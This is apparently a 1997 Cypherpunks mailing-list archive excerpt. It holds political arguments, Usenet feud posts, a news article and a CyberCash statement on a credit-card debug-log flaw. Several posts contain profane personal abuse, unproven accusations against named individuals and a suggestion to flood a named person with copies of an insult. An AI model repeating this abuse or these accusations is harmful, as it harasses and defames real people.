lot more respect for Vinnie, putting in practice at the range -- a firearms
instructor who shoots not only for self protection, but because he likes it
*and* is good at it (as you probably noticed) -- than I do for you, someone
who's on the verge of joining a militia somewhere, though not because
you're shooting per se. There's a difference between being ready for a
confrontation involving gunfire and going out and causing one, which you
clearly seem to be trying to do lately. The former is good sense. The
second is, of course, the act of a loon -- oops, "Freedom Fighter".

Interestingly, those people who are most interested in starting a
revolution are also the people who want to be in charge when the revolution
is over. cf., Townsend's "Don't get fooled again", and Radovan Karadzic. Is
that *you*, Tim?...

Nawwww...


If attacked under the proper conditions, like, say, at Concord, fighting is
a real good idea. :-). If you read interviews with people at the time, and
not, say, 50 years later after several historical revisions, those folks
defended themselves more because an occupying army was marching up the road
straight at them, threatening their lives, limb and property, than for any
political consideration.

That and the fact that they actually had the military wherewithall to slow,
and apparently stop, that army. :-). Being a near-frontier society, where
people still used a, um, geodesic, force architecture :-) to fight bandits,
and had at least a memory of dealing with marauding indians that way, paid
off handsomely. Texas and the Texas Rangers were an analogous situation
with the Commanches, for instance.

Concord is clearly proof that Britain didn't understand that they couldn't
control America anymore and acted on that misinformation. It was *their*
problem, as the revolution bore out.


And, frankly, as a member of a congregation whose church was broken up for
firewood as a "nest of traitors" during the occupation of Boston, and,
having done some myself once in a while, I'm no stranger to the fun and
games of good old fashioned rabble-rousing, something this list seems to
excel at these days. But, the point is, if someone went out alone, in the
middle of, say, occupied Boston, and started shooting, they'd die, and
everyone would call them a fool. And, no, I don't think that modern
Corrolitos, much less Boston itself :-), is the equivalent of occupied, or
even pre-revolutionary war, Boston, either.


Finally, as far as code is concerned -- or even *talking* about
cryptographic technology and what it can do anymore -- the irony of what
*you* do all day, Tim, versus what Vinnie does, is of course, rather
immense.


I'll answer the rest of your post when it crawls to the top of the dreck
pile, like all the rest of them...


Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 24 Nov 1997 05:20:20 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Seeing Both Sides
Message-ID: <32dea1912a187624aca30f2cee100755@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:
>...people are out there, right now, writing code instead of...

To which Tim May replied:
>Spare us the "writing code instead of" appeals to some sort of
>guilt.

Cypherpunks write code for computers.  Tim May writes code for
cypherpunks.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 24 Nov 1997 05:43:29 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Tim May's offensive racism (was: about RC4) (fwd)
In-Reply-To: <199711231326.HAA07091@einstein.ssz.com>
Message-ID: <v04002746b09e4c56caaa@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:26 am -0500 on 11/23/97, Jim Choate wrote:

<ZOT!>
> It's a pity you weren't right though, the 50 year gap in your memory pretty
> much blows your assertion as well as your reputation to hell.
</Z>

Don't you just love the smell of ozone in the morning?

:-). What? Me? Reputation? I *thought* I had one around here somewhere...


Anyway, I'm not so sure about your above assertion. We can quibble about
*which* great awakening it was I thought was the first one, of course, but
you yourself posted the facts which bore out what I was saying to my own
satisfaction, and, I'd bet way past what most anyone else around here who
cares about the discussion, would say, as well.

Close only counts in horseshoes, hand grenades and cypherpunk rants?

> Homework may be for wimps, but they're successful wimps.

Yup. You're obvious evidence of that. Congratulations on all of your
accomplishments. Enjoy your smug self-satisfaction. Clearly you must have
earned it...

:-).


Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Mon, 24 Nov 1997 10:05:49 +0800
To: mail2news@myriad.alias.net
Subject: Another Anti-Privacy Bigot Heard From (was: The Guilmette/Burnore deba
In-Reply-To: <slrn67eevb.fjb.sjsobol@devel.nacs.net>
Message-ID: <199711240054.QAA27858@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



sjsobol@devel.nacs.net (Steve Sobol) wrote:

> So my challenge to the people posting anonymously is to either go away, or
> find some balls and post non-anonymously. I know this won't happen, as much
> of the stuff being said is rather libelous and can get the poster into a lot
> of legal trouble, but hey, if any of the cowards involved would *like* to
> reveal themselves...

If you'd to expose ... er, I mean "reveal" yourself, be my guest. <g>

But knock off the bigotry -- anonymous posters are not going to be relegated
to the back of the bus just because some control freak is annoyed by hearing 
things with which he disagrees posted by people that he can't identify.  
You're merely chanting the same line we've all heard over and over -- 
"unless you have something to hide, you won't mind my snooping and meddling 
in every aspect of your life".

Threats of "a lot of legal trouble" for speaking one's mind are nothing new.  
But the tort of libel requires that the information be FALSE.  There's a 
difference between something being libellously false and merely being 
embarassingly true.  And, of course, the burden of proof is on the person 
making the charge.

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 24 Nov 1997 09:16:13 +0800
To: Jim Choate <cypherpunks@Algebra.COM
Subject: Re: Further costs of war
In-Reply-To: <199711232043.OAA08112@einstein.ssz.com>
Message-ID: <v03102807b09e53a4b922@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:43 PM -0700 11/23/97, Jim Choate wrote:
...
>Any particular methodology you might care to share on stopping WWII?
>Being an avid amateur historian concerning WWII I am very much interested in
>any insight you might have.

Not entering the war. There's ample evidence that the U.S. provoked the
Japanese in various ways. (I'm not saying the Japanese were blameless, or
lily-white, or"nice," etc., only that most historians agree--and Japanese
archives support--that the Japanese were motivated to attack Pearl Harbor
in the hope that a devastating first blow would sink enough ships, etc., to
cause America to back off in its actions in the ironically named Pacific.)

Had the U.S. concentrated on its own affairs, on just trade, it is unlikely
that what the Japanese were doing in Malaysia, Manchuria, Korea, Indochina,
and the Phillipines would have had any major interest for us.

As for Europe, this was even less our war than the Pacific war.

In a sense, so _what_ if some army from some nation was rolling over other
armies?

(The "evilness" of Hitler is not the issue, either. Else Stalin and Mao
would have been cause enough to go to war.)

(And the issue of "alliances" is even murkier. The states of the U.S. have
little to fear from Canada or Mexico, so what use have "alliances" ever
been? Much could be said about the pros and cons of alliances, but I am
persuaded that the U.S. should avoid them. And certainly the monarchic
alliances which led to the First World War--a war fought over the Hapsburg
Dynasty and assorted intrigues==were completely absurd. Even the proximate
cause of the U.S. entry into the war, the sinking of the "Lusitania" and
related events, was duplicitous on the part of the U.S. government...the
U.S. gov't. was "taking sides" by shipping munitions on the L.)

As for the Final Solution to the Jewish Problem...not my war.  A tragedy
and a horrible atrocity, to be sure, but so were the forced starvation of
the Kulaks and others, the decision by the PRC government to deliberately
sacrifice a region of 30 million peasants, the "killing fields" of
Cambodia, the Rwanda massacres, and so on.

Just as invading Cambodia to save a million Cambodians was not justified,
just as invading Rwanda to stop the killing of a million Hutus or Tutsis or
both, so, too, was an invasion of Europe to save some Frenchmen or some
Jews or Gypsies unjustified.

If the U.S. had not become "policeman to the world" in the early part of
this century ("...but carry a big stick"), or, more to the point, if the
United States were (emphasis on the plural "were," not "was") highly
authonomous and decentralized, it is hard to imagine Illinois or New
Hampshire deciding to send their men to die in the Pacific for some
abstract notion of "stopping Japanese imperialism." Ditto for the war in
Europe, although no doubt many with relatives in Euope would be pressing
for mandatory action. Understandable, but ignorable in a free society.

Those who wanted to liberate the death camps, or to push Hitler back into
Gerrmany, or to kick the Emperor's butt could, of course, simply go over
and volunteer. In a free society, mercenaries are legal.

The last justifiable war the American states were involved in was,
arguably, the War of 1812. Every war since then has been unjustified.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Mon, 24 Nov 1997 11:01:59 +0800
To: mail2news@myriad.alias.net
Subject: Belinda Bryan's Defense of Gary "Sadaam" Burnore (was: Re: Keman the K
In-Reply-To: <347d10bb.32754853@news.mindspring.com>
Message-ID: <199711240132.RAA03759@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



eridani+spam@netcom.com (Belinda Bryan) wrote:
       ^^^^^

> X-No-Archive: yes

Clever.  You and Gary demand "proof" of what you've said in the past, then you
attempt to conceal the very evidence you're demanding like this.  It figures.
Nothing like this, coupled with repeated false claims of "forgery", to give 
your posts a little "plausible deniability", is there?

> Organization: Boycott E-Scrub Technologies. The owner is an admitted spambaiter.

Your obsessive disinformation campaign continues, I see...

[...]

> >>On Fri, 21 Nov 1997 22:54:33 GMT, eguy@mindspring.com (Eric Guy) wrote:
> >>The account is closed.  Find something ELSE to be obsessed about.
> >                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> >
> >Take your own fucking advice. Get off Ron Guilmette's back.
> > You posted his ten year old tax lien.
>  
> Public information.  Just like all those "public" email addresses rfg
  ^^^^^^^^^^^^^^^^^^
> posted of users of ISPS who didn't meet his standards.  Tit for tat.

Well, if posting public information is OK, then why the hate campaign against 
Ron Guilmette and his business for (allegedly) doing like you and Gary did?

Actually, either you're lying now about the reason that Gary posted the info
back in February, or Gary was lying back then when he said: "What say each 
time you slam DataBasix for no reason, we post some publicly available 
information about monkeys.com.  HEre's the first try" and "More where this 
came from. Yu wanna keep slamming DataBasix for no good reason?". [1]  That 
sounds like an attempt at censorship through intimidation to me.  After you 
pull stunts like that is it any wonder that people post their opinions 
anonymously?  The more you attack anonymous remailers and their users, the
more people will see the benefit of utilizing them.

> Life's a bitch that way, ain't it? 
           ^^^^^

No, LIFE isn't, but, OTOH ...

> > You mail bombed him and tried syn flooding without success.
>  
> THAT'S A VICIOUS LIE.  POST THE GODDAMN PROOF OR SHUT THE FUCK UP.

Now I'm beginning to see why you weren't able to convince Jeff Burchell that
you were a "lawyer" for DataBasix when you tried the Scientology-esque stunt
of demanding that he turn all of his (non-existent) user logs over to
DataBasix to use in their witch hunt against the users of his remailer. [2] 
Going on a tantrum like that in a courtroom would get you jailed for 
contempt of court.

I see you haven't changed your typical DataBasix tactics of demanding proof
from others, but never bothering to offer any for your own accusations.  Like
the accusations that Ron Guilmette "spam baited" addresses at databasix.com.
(The only thing you've posted that even looked like evidence was some idle
talk about netcom.com addresses.)  Or how about that claim that Mr. Guilmette
supposedly "abused" an unnamed "teenage girl" at DataBasix?
 
> > These days you looking for more blood. Find someone else to be obsessed
> > about. Asshole. 
>  
> Jesus, cretins like you give *responsible* people posting anonymously a
> bad name.  As do those such as the delta sub-moron who forged my
> former [1] email address in the Reply to: line of an obscene Usenet
> post.

As far as giving anonymous posters a bad name, since when have you EVER
had anything decent or civil to say about those who don't believe that 
setting one's self up for abuse should be the price of free speech?  Calling
anonymous posters "anon assholes" only betrays your pernicious bigotry and
hatred of those who dare to speak their minds without subjecting themselves
to the revenge that seems to (coincidentally?) befall those who dare to
criticize the almighty Sadaam Burnore.

As far as "delta sub-morons" engaging in "forgery" (assuming they aren't your
fellow "delta sub-morons" on the DataBasix gang) what about all the crude
attempts at forgery involving the e-mail addresses of those who've dared to
publicly disagree with Gary Burnore and his DataBasix wrecking crew?  What
about the letters in various MMF and MLM NGs saying "I have a lot of money
to invest, please send me information on how I can get rich quick" and
purportedly signed by these folks?  I must have missed your vehement
protests about that.
 
> You aren't worth the bother anymore.
>  
> *PLONK*

Did anyone force you to post THIS tantrum?  Don't let the door strike your 
posterior on the way out.
 
> [1] former because I had to close the account when it become completely
> unusable, thanks to some anonymous cretin who (a) used the address as
> spambait several *thousand* times and (b) subscribed me to every
> freaking html-ized newsletter in existence.

Once again, you post accusations without proof.  (Maybe I ought to do my
DataBasix impression of you and Sadaam Burnore stomping your feet and 
chanting in unison, "Not a shred of evidence! Not a shred of evidence!")
You can only say "I didn't do it, nobody saw me doing it, and you can't
prove a thing" so often.

Your post no evidence that such alleged abuse even occurred, nor that, *IF* it
did occur, it was perpetrated by someone other than you or one of your fellow 
abusers at DataBasix, perhaps as a pretext to get a remailer shut down.  If by 
your "former e-mail address" you're referring to an account at DataBasix.com,
could the real reason be that Gary is so technically inept that he has been
unable to get the databasix.com domain up and running after his hasty exodus
from California to North Carolina?  At least that's been his alibi -- "I
couldn't have posted any spam bait - databasix.com is still down".
 
Your whining is so hypocritical, anyway.  Where were those protests when your
fellow staffer at DataBasix, William J. McClatchie (aka "Wotan"), was busy
making THOUSANDS of e-mail addresses useless when he went on his successful
campaign to get the Mailmasher server shut down?  (Remember the bogus 
"forgery" charges and the pitiful "evidence" that was posted?)

> P.S.  Fix your goddamn line wrap.

Why?  You claim to have "plonked" him/her....

Why not just fix your newsreader?

--
Since Belinda likes to footnote her posts:

[1] http://calvo.teleco.ulpgc.es/listas/cypherpunks-unedited@toad.com/HTML-1997-11/msg00529.html
[2] http://infinity.nus.sg/cypherpunks/dir.archive-97.11.13-97.11.19/0432.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 24 Nov 1997 08:45:25 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Digital signatures
In-Reply-To: <199711230807.JAA15377@basement.replay.com>
Message-ID: <Pine.A41.3.95.971123173232.53944B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 23 Nov 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timothy May was born when his mother was on the toilet.
> 
>           o       o
>         /<         >\ Timothy May
>         \\\_______///
>         //         \\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 24 Nov 1997 09:13:02 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Further costs of war
In-Reply-To: <199711232043.OAA08112@einstein.ssz.com>
Message-ID: <v0400274fb09e5fc84c58@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:43 pm -0500 on 11/23/97, Jim Choate wrote:


> 			       ARTICLE XVI.
>
> 	The Congress shall have power to lay and collect taxes on
> incomes, from whatever source derived, without apportionment among the
> several States, and without regard to any census or enumeration.
> [25 February 1913.]

Wasn't the 16th ammendment the result of the constitutional challenge of a
Spanish American War tax? Or maybe it was used to fund whatever progressive
stuff TR was up to at the time. It seems to me that, from the Spanish
American War until the ammendment's implementation would be a reasonable
timeframe to get an ammendment effort underway, passed by congress, and
ratified by the states. Given the popularity of the war, it wouldn't
surprise me if a tax implemented to pay for it would have gone down so
easily.

I know that the income tax was first attempted as a temporary measure in
the Civil War, without much compliance, I bet, given that was a book entry
tax being tried in a predominantly cash-settled bearer certificate economy,
and, that, when they tried to do it again, sometime in the Third Great
Awakening :-),  the Supreme Court struck it down.

Of course, all the pseudoconstitutionalist claptrap about the 16th being
unconstitutional is, of course, that. The constitution's what the Supreme
Court says it is, unfortunately.

Doesn't mean the damn thing shouldn't be repealed, though there's fat
chance of that. Oh well. Fortunately, we can fight back with digital bearer
settlement. Someday. Soon, I hope.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Galt <jongalt@pinn.net>
Date: Mon, 24 Nov 1997 06:57:48 +0800
To: platypus@acmeonline.net
Subject: Re: Will Jews be Forced to Accept Christ in Public Schools?
In-Reply-To: <Pine.LNX.3.93.971123135313.334F-100000@shirley>
Message-ID: <Pine.SUN.3.91.971123174103.24326D-100000@everest.pinn.net>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 23 Nov 1997, ? the Platypus {aka David Formosa} wrote:

> ...  If the state has any business, it is
> to provide services that the comminaty as a whole needs or services where
> the market will not provide.  While churches (and other voluntary
> organizations) have there place I do not beleave that it is a universal
> solition.
> 
> Indeed I have worries about contribution money to an orginisation that I
> have little ablity to control via my influence as a voter.

Then I take it you have almost the exact same worries about contributing 
to churches as you have about "contributing" to government.

Reminds me of a short exchange I had with a co-worker a couple of years 
ago.  He had bought a lottery ticket (which I don't do), and it went like 
this:

I:  What are your chances of winning?
he:  What are *yours*?
I:  Not much different than yours!

______________________________________________________________________
Jon Galt
e-mail:  jongalt@pinn.net
website:  http://www.pinn.net/~jongalt/
PGP public key available on my website.
Democracy is two wolves and a sheep voting on what to have for dinner.
______________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 24 Nov 1997 07:44:48 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199711232350.RAA09036@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   Barnes and Noble 
   
   
   
   
   
   
   Main banner [LINK] rule
   
          WOMAN, 80, PUT OFF GREYHOUND BECAUSE OF BIRTHDAY-GIFT PUPPY
                                       
     woman with dog November 23, 1997
     Web posted at: 6:32 p.m. EST (2332 GMT)
     
     TAMPA, Florida (AP) -- The bus was a Greyhound, but the driver was
     no dog lover.
     
     An 80-year-old woman returning home from her birthday party was
     kicked off a bus at a rural truck stop late at night because of her
     birthday present: a tiny puppy named Cookie.
     
     Dogs aren't allowed on Greyhound and the driver refused to make an
     exception, leaving Antonia Sanabria at the side of the road about 80
     miles from home at 3 a.m. Friday.
     
     A security guard summoned by the bus driver called Marion County
     sheriff's deputies -- adding to her fright.
     
     "When the bus pulled away and I saw all those policemen I was
     scared," Sanabria said. "I thought they were going to put me in
     jail. I don't know, I was crazy with fear. I've never gone to jail."
     
     
     What could have quickly become a terrifying ordeal for the woman,
     who walks with a crutch and has trouble hearing and seeing, instead
     became an inspiration.
     
     After getting her a sandwich and something to drink, police from
     different jurisdictions teamed up to ferry Sanabria all the way from
     the Ocala area to her Tampa doorstep in five different patrol cars.
     
     "I've never seen so many people so nice with me -- an old lady. They
     gave me love, respect, attention," she said. "Love has a lot of
     names -- compassion, respect, friendliness."
     
     As soon as she got home, all Sanabria wanted to do was sleep, which
     she did with her new 7-week-old Pekinese pup.
     
     When she woke up she found a bouquet of roses with a card that read:
     "We want you to know there are still some nice people in the world,"
     from Hillsborough sheriff's deputies in Tampa who coordinated the
     relay.
     
     Greyhound apologized and gave her a refund on Saturday. The
     unidentified driver, a 20-year Greyhound veteran, was suspended
     pending an investigation.
     
     "It's unfortunate that a lady of this age and condition would have
     something like this happen to her in the middle of the night," said
     George Gravley, a Greyhound spokesman.
     
     Sanabria's daughter, Sally Creel of Panama City, was outraged,
     saying: "What a low-life thing to do."
     
     But after the police rescue, her mother was far from bitter.
     
     "It was a birthday I'll never forget," Sanabria said.
     
     Copyright 1997   The Associated Press. All rights reserved. This
     material may not be published, broadcast, rewritten, or
     redistributed.
     
    
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Galt <jongalt@pinn.net>
Date: Mon, 24 Nov 1997 07:05:30 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Clinton Sells Arlington Burials
In-Reply-To: <3.0.3.32.19971122194807.0070b75c@popd.ix.netcom.com>
Message-ID: <Pine.SUN.3.91.971123175138.24326E-100000@everest.pinn.net>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 22 Nov 1997, Bill Stewart wrote:
(referring to Herr Comrade Bill Clinton)
> At least he's not yet arranging for people to become dead
> so they can be buried there.

Are you so certain of this?

___________________________________________________________________
Jon Galt
e-mail:  jongalt@pinn.net
website:  http://www.pinn.net/~jongalt/
PGP public key available on my website.
__________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <remailer@htp.org>
Date: Mon, 24 Nov 1997 02:05:26 +0800
To: cypherpunks@cyberpass.net
Subject: The Great Awakening - Final Post (hopefully)
Message-ID: <19971123175500.10793.qmail@nsm.htp.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Jim Choate wrote:
>Then you should go back and read them some more. In fact, if you still have
>the originals they include in the header the URL where I got the data from.
>Take the 10 minutes and go over and take a look at them. All three were
>related to religous revivalism in one form or another. The 1st (which
>itself some consider to be the second occurance of a previous movement
>as indicated in the title) did not occur in the 1800's which was the
>original precis that somebody threw out

Bob Hettinga said it was in the 1800's.  You said you thought it started in 
the 1500's, going no later than the early 1700's.  Bob retorted that he 
thought you were confusing the Renaissance with the Great Awakening.  I
chimed in by quoting Norton's Anthology which stated that the period was
in the early 18th century.  Take 10 minutes to "check the archives."  

>I did some looking around as well and other then Norton, yourself, and
>whoever it was that made the original claim all references I can find to
>the Great Awakening refer to the 1700-1750 event(s) as the first one to
>occur in the America's. If I can find my Norton Anthology I'll take a
>look at it, though it is 15+ years old.

If you look back at my post, you will see that this is what I (and Norton) 
were claiming.  The early eighteenth century = the early 1700's!  Read my
first post which included the quote from Norton's Anthology.

In other words, we both agree that the Great Awakening ended by the middle
of the eighteenth century (a.k.a., 1700's), not the middle of the nineteenth
century (a.k.a., 1800's) as Bob was claiming.

>> >Subject: 1st Great Awakening
>> [...]
>> > X-within-URL: http://www.fourthturning.com/html/great_awakening.html
>
>                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>> >    The Great Awakening (Second Turning, 1727-1746) began as a spiritual
>                            ^^^^^^^^^^^^^^^^^^^^^^^^^

"Second Turning" has to due with the cyclical theory that the authors of the 
web page you cited have written about.  The fact is that they refer to that 
time period (early 1700's/18th c.) as the Great Awakening, not the Second 
Great Awakening.  If you read the other pages at the site *more carefully* 
you will see that they were stuffing the Great Awakening into their theory 
under the category named the Second Turning (out of four, thus the site's 
name: fourthturning.com).

Notice your Subject: line says 1st Great Awakening, but that you're using the
parenthetically referenced Second Turning as a justification to contradict
what I (and you) have been saying all along.  What's going on here?

How can we have any meaningful discussion on this list when we don't pay any
attention to what we are writing or what others wrote?

Nerthus

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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A2Mw+Y9ogMps1V9nrrVsGmDswKulmBMA222XT8v6Si0X3r4D19qgSRqgH4rs8qs2
as51/AqxEeayx+Yphskys0HsU8ZjY/4w76dZP/TbakwWT+R5V4Yx3yQkcnsxh+iR
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Yp5qCyrTGBH1Gi0OEABHapg18Yo5WlwHx0nStKN3nl1z2vPJQdEbLQ==
=GaMe
-----END PGP SIGNATURE-----
 ^^^^
Dig that!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 24 Nov 1997 07:41:30 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: CyberCash response to: Major security flaw in Cybercash 2.1.2 (fwd)
Message-ID: <Pine.SUN.3.96.971123183647.24644B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain





=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================

---------- Forwarded message ----------
Date: Sun, 23 Nov 1997 04:08:28 -0500
From: Pat Farrell <pfarrell@CYBERCASH.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: CyberCash response to: Major security flaw in Cybercash 2.1.2

This message is going to bugtraq because I first heard of
the report from this list. I believe it is in the spirit of
the list's usage guidelines. Redistributed in accordance
to the terms below.

Other responses should be off list, directly to me.

Pat

-----BEGIN PGP SIGNED MESSAGE-----

I have been asked by Steve Crocker, CyberCash's Chief Technical Officer,
to post this message concerning security of CyberCash's software.

The following should appear in its entirety if it's printed at all.
Permission is granted to repost this message as long as the entire
message is reposted unaltered with the PGP signature intact.

Pat




The following message appeared on the net.
> === begin quoted message ===
>
>From: Anonymous <anon@ANON.EFGA.ORG>
>Subject:      Major security flaw in Cybercash 2.1.2
>To: BUGTRAQ@NETSPACE.ORG
>
>CyberCash v. 2.1.2 has a major security flaw that causes all credit
>card information processed by the server to be logged in a file with
>world-readable permissions.  This security flaw exists in the default
>CyberCash installation and configuration.
>
>The flaw is a result of not being able to turn off debugging.  Setting
>the "DEBUG" flag to "0" in the configuration files simply has no
>effect on the operation of the server.
>
>In CyberCash's server, when the "DEBUG" flag is on, the contents of
>all credit card transactions are written to a log file (named
>"Debug.log" by default).
>
>The easiest workaround I've found is to simply delete the existing
>Debug.log file.  In my experience with the Solaris release, the
>CyberCash software does not create this file at start time when the
>DEBUG flag is set to 0.
>
>The inability to turn off debugging is noted on CyberCash's web site
>under "Known Limitations".  The fact that credit card numbers are
>stored in the clear, in a world readable file, is not.
>
> === end quoted message ===


We have taken this quite seriously and have put through a full release
of our software which will be available Monday 11/24 for three
platforms and others shortly thereafter. The flaw was in the
debug logging function, not in the protocols or core
implementation.  Nonetheless, the effect was an unnecessary
exposure of potentially sensitive information, and it shouldn't
have gone out the door that way.  We're tightening our internal
processes to avoid this in the future.

That said, here's the actual exposure.  The credit card information
that's in the clear in the log comes from "merchant-initiated"
transactions, which means the merchant obtains the credit
card number from somewhere -- phone, mail, fax, SSL-protected
Internet interaction, or unprotected Internet interaction.
The merchant thus has the same info in the clear already.

If the card number was provided via a wallet, then the card
number is blinded at the consumer's end.  It is therefore
not in the clear as it passes through the merchant's machine
and the reported exposure does not apply..

In order for the unprotected log to pose a risk of exposure,
someone has to be able to gain access to the merchant's machine.
If the machine is well protected, viz behind a firewall and/or
carefully configured, presumably an outsider won't be able to
gain access.  And in terms of the *additional* exposure the
open log represents over existing risks, if the same information
is accessible in the clear elsewhere on the machine, eliminating
from the log or encrypting the log provides little or no real
protection.  We continue to advise merchants to take strong steps
to protect their machines.

To our knowledge, the exposure documented above has not resulted
in the actual loss of any customer data or other security incident.


- ----------------------------------
Steve Crocker                                   Desk:  +1 703 716 5214
CyberCash, Inc.                                 Main:  +1 703 620 4200
2100 Reston Parkway                             Fax:   +1 703 620 4215
Reston, VA 20191                                crocker@cybercash.com

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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lByJBsTAAS4=
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-----END PGP SIGNATURE-----

Pat Farrell    CyberCash, Inc.          w:(703) 715-7834
Senior Engineer                   pfarrell@cybercash.com
#include standard.disclaimer





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Galt <jongalt@pinn.net>
Date: Mon, 24 Nov 1997 07:53:12 +0800
To: Mikhael Frieden <mikhaelf@mindspring.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <3.0.16.19971123050057.3ac79780@pop.mindspring.com>
Message-ID: <Pine.SUN.3.91.971123183247.24326G-100000@everest.pinn.net>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 23 Nov 1997, Mikhael Frieden wrote:

> At 08:12 PM 11/18/97 -0700, Tim May wrote:
> >At 10:34 PM -0700 11/18/97, Mikhael Frieden wrote:
> >>At 06:53 PM 11/18/97 -0600, William H. Geiger III wrote:
> 
(Geiger)
> >>>I think that there is plenty of case law of extending constutional
> >>>protections to non-citizens. One that comes to mind were the rulings
> >>>against California inwhich the courts ruled the they were obligated to
> >>>provide schooling and social services to illegal aliens (a really fucked
> >>>rulling IMNSHO but if some good can come out of it no sense not making use
> >>>of it).
> 
(Frieden)
